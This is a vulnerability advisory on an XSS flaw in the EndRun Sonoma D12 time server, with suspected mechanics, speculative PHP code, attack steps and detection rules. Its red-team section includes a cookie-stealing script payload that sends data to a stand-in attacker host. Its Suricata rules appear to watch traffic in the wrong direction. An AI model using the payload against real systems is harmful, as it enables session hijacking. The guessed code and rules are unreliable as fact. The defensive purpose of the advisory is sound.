CVE-2025-60961

Executive Summary

CVE-2025-60961 is a Cross-Site Scripting (XSS) vulnerability identified in the EndRun Technologies Sonoma D12 Network Time Server (GPS) running firmware version 6010-0071-000 Ver 4.00. This flaw allows an unauthenticated attacker to inject malicious scripts into the web interface of the device, potentially leading to the exfiltration of sensitive information, session hijacking, or other unspecified impacts. The vulnerability is currently unpatched, and no public proof-of-concept (PoC) or exploit code has been released. The EPSS score is 0.0%, indicating a low probability of exploitation in the wild at this time, but the risk remains significant due to the critical nature of NTP infrastructure.

Supply Chain & Package Security

This vulnerability is not related to any software package manager (NPM, PyPI, Go, Ruby). It affects a hardware appliance with embedded firmware. No supply chain implications are identified.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0 in the NVD data, which is likely a placeholder. Based on the nature of the vulnerability (XSS), a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication is needed.
• User Interaction (UI): Required (R) – The victim must click a link or visit a crafted page.
• Scope (S): Changed (C) – The vulnerable component impacts resources beyond its security scope.
• Confidentiality (C): Low (L) – Limited information disclosure.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): None (N) – No impact on availability.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N Estimated Base Score: 6.1 (Medium)

Threat Level: Medium. While the vulnerability is unpatched, the lack of public exploit code and low EPSS score reduce immediate risk. However, the device's role in time synchronization makes it a high-value target for network reconnaissance and lateral movement.

Deep Dive & Mechanics

The Sonoma D12 Network Time Server provides a web-based management interface for configuration and monitoring. The XSS vulnerability likely exists in one or more input fields that are not properly sanitized before being rendered in the browser. Common injection points include:

• NTP peer configuration fields (e.g., server name, IP address)
• System log or status display pages that reflect user-controlled data
• Authentication or session parameters that are echoed back

An attacker can craft a malicious URL or form submission containing JavaScript payloads. When an administrator accesses the affected page, the script executes in the context of the web interface, allowing the attacker to:

• Steal session cookies for privilege escalation
• Capture keystrokes or form data
• Redirect to phishing pages
• Modify device settings (if the admin session has write permissions)

The vulnerability is classified as Reflected XSS or Stored XSS depending on whether the payload persists. Given the lack of detailed information, both possibilities should be considered.

Vulnerable vs. Patched Code

No patched version is available. The vulnerable firmware is 6010-0071-000 Ver 4.00. Without a patch, the following insecure code pattern is suspected:

Vulnerable (PHP/Python/JavaScript example):

<?php
$input = $_GET['server'];
echo "<div>NTP Server: " . $input . "</div>";
?>

Patched (hypothetical):

<?php
$input = htmlspecialchars($_GET['server'], ENT_QUOTES, 'UTF-8');
echo "<div>NTP Server: " . $input . "</div>";
?>

The fix would involve proper output encoding and input validation for all user-supplied data.

Exploitation & Lab Setup

Red Team (Attacker)

Lab Environment:

• Target: EndRun Sonoma D12 with firmware 6010-0071-000 Ver 4.00
• Attacker: Kali Linux with Burp Suite and browser
• Network: Same subnet or reachable via HTTP/HTTPS

Exploitation Steps:

1. Identify the vulnerable parameter (e.g., server in the NTP configuration page).
2. Craft a payload: <script>alert('XSS')</script>
3. Send the request via URL or POST:

   http://<target>/config?server=<script>alert('XSS')</script>
   

4. If stored, the payload will execute when any admin views the configuration page.
5. For session theft, use:

   <script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>
   

Note: No public exploit code is available. The above is a generic XSS exploitation approach.

Blue Team (Defender)

Detection Steps:

• Monitor web logs for unusual parameters containing <script>, onerror, onload, or base64-encoded JavaScript.
• Look for outbound connections from the NTP device to unknown IPs on ports 80/443.
• Use network segmentation to isolate the NTP server from general user traffic.

Hunting Queries:

• Search for HTTP requests with %3Cscript%3E or %3Cimg%20src%3D in the URI.
• Alert on any JavaScript execution from the device's web interface.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests containing <script>, onerror, onload, javascript: in parameters
  • Outbound connections from the NTP device to external IPs on ports 80/443
  • Unusual User-Agent strings (e.g., empty or non-standard)
• Host IOCs:
  • Modified configuration files (e.g., NTP peers with suspicious names)
  • Unexpected JavaScript files in the web root (if accessible)
• Log IOCs:
  • Repeated 400/500 errors from the web interface
  • Log entries with HTML tags in the server or peer fields

Detection Engineering

YARA Rule

rule CVE_2025_60961_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting EndRun Sonoma D12"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-60961"
    strings:
        $xss1 = "<script" nocase
        $xss2 = "onerror=" nocase
        $xss3 = "onload=" nocase
        $xss4 = "javascript:" nocase
        $xss5 = "alert(" nocase
        $xss6 = "document.cookie" nocase
    condition:
        any of ($xss*) and filesize < 10KB
}

Sigma Rule

title: XSS Attempt Against EndRun Sonoma D12
id: 8f4a2b1c-3d5e-4f7a-9b8c-1d2e3f4a5b6c
status: experimental
description: Detects potential XSS attacks targeting the web interface of EndRun Sonoma D12 NTP server
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
            - 'alert('
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in admin tools (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-60961 XSS Payload in URI"; flow:to_server,established; content:"<script"; http_uri; nocase; sid:1000001; rev:1;)
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-60961 XSS Payload in POST"; flow:to_server,established; content:"<script"; http_client_body; nocase; sid:1000002; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the device: Place the Sonoma D12 on a dedicated management VLAN with strict access controls.
2. Disable web interface: If not required, disable the HTTP/HTTPS management interface and use CLI or SNMP instead.
3. Apply input validation: If possible, use a reverse proxy (e.g., Nginx, Apache) to filter malicious requests before they reach the device.
4. Monitor logs: Enable detailed logging and alert on suspicious patterns.

Long-term Fix:

• Contact EndRun Technologies for a firmware patch. Since no patch is available, consider replacing the device with a patched alternative.
• Implement Web Application Firewall (WAF) rules to block XSS payloads.

Workaround:

• Restrict access to the web interface by IP whitelisting.
• Use HTTPS with strong certificates to prevent man-in-the-middle injection.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert